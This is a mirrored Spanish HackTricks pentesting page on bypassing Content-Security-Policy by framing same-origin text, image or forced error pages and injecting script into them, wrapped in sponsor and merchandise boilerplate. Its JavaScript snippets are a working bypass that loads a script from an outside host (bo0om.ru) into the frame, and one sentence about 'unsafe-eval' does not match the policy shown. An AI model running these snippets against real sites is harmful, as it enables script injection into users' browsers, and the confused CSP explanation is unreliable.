mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 08:30:57 +00:00
90 lines
5.4 KiB
Markdown
90 lines
5.4 KiB
Markdown
|
<details>
|
|||
|
|
|||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|||
|
|
|||
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|||
|
|
|||
|
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
|
|||
|
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
|
|||
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|||
|
|
|||
|
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
|
|||
|
Una configuración como:
|
|||
|
```
|
|||
|
Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’;
|
|||
|
```
|
|||
|
Prohíbe el uso de cualquier función que ejecute código transmitido como una cadena. Por ejemplo: `eval, setTimeout, setInterval` serán bloqueados debido a la configuración `unsafe-eval`.
|
|||
|
|
|||
|
Cualquier contenido de fuentes externas también está bloqueado, incluyendo imágenes, CSS, WebSockets y, especialmente, JS.
|
|||
|
|
|||
|
## A través de texto e imágenes
|
|||
|
|
|||
|
Los navegadores modernos transforman imágenes y textos en archivos HTML para visualizarlos mejor (establecen fondo, centrado, etc.).
|
|||
|
|
|||
|
Por lo tanto, si **abres una imagen o archivo de texto** como **favicon.ico** o **robots.txt** con un **`iframe`**, lo abrirás como HTML.
|
|||
|
|
|||
|
**Este tipo de páginas generalmente no tienen encabezados CSP y es posible que no tengan X-Frame-Options**, por lo que puedes ejecutar JS arbitrario desde ellas:
|
|||
|
```javascript
|
|||
|
frame=document.createElement("iframe");
|
|||
|
frame.src="/css/bootstrap.min.css";
|
|||
|
document.body.appendChild(frame);
|
|||
|
script=document.createElement('script');
|
|||
|
script.src='//bo0om.ru/csp.js';
|
|||
|
window.frames[0].document.head.appendChild(script);
|
|||
|
```
|
|||
|
## A través de Errores
|
|||
|
|
|||
|
Al igual que los archivos de texto o imágenes, **las respuestas de error generalmente no tienen encabezados CSP y es posible que no tengan X-Frame-Options**. Por lo tanto, puedes forzar errores y cargarlos dentro de un iframe:
|
|||
|
```javascript
|
|||
|
// Force nginx error
|
|||
|
frame=document.createElement("iframe");
|
|||
|
frame.src="/%2e%2e%2f";
|
|||
|
document.body.appendChild(frame);
|
|||
|
|
|||
|
// Force error via long URL
|
|||
|
frame=document.createElement("iframe");
|
|||
|
frame.src="/"+"A".repeat(20000);
|
|||
|
document.body.appendChild(frame);
|
|||
|
|
|||
|
// Force error via long cookies
|
|||
|
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
|
|||
|
frame=document.createElement("iframe");
|
|||
|
frame.src="/";
|
|||
|
document.body.appendChild(frame);
|
|||
|
// Don't forget to remove them
|
|||
|
for(var i=0;i<5;i++){document.cookie=i+"="}
|
|||
|
```
|
|||
|
|
|||
|
```javascript
|
|||
|
// After any of the previous examples, you can execute JS in the iframe with something like:
|
|||
|
script=document.createElement('script');
|
|||
|
script.src='//bo0om.ru/csp.js';
|
|||
|
window.frames[0].document.head.appendChild(script);
|
|||
|
```
|
|||
|
## Referencias
|
|||
|
|
|||
|
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
|||
|
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|||
|
|
|||
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|||
|
|
|||
|
- Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
|
|||
|
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|||
|
|
|||
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|||
|
|
|||
|
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|||
|
|
|||
|
</details>
|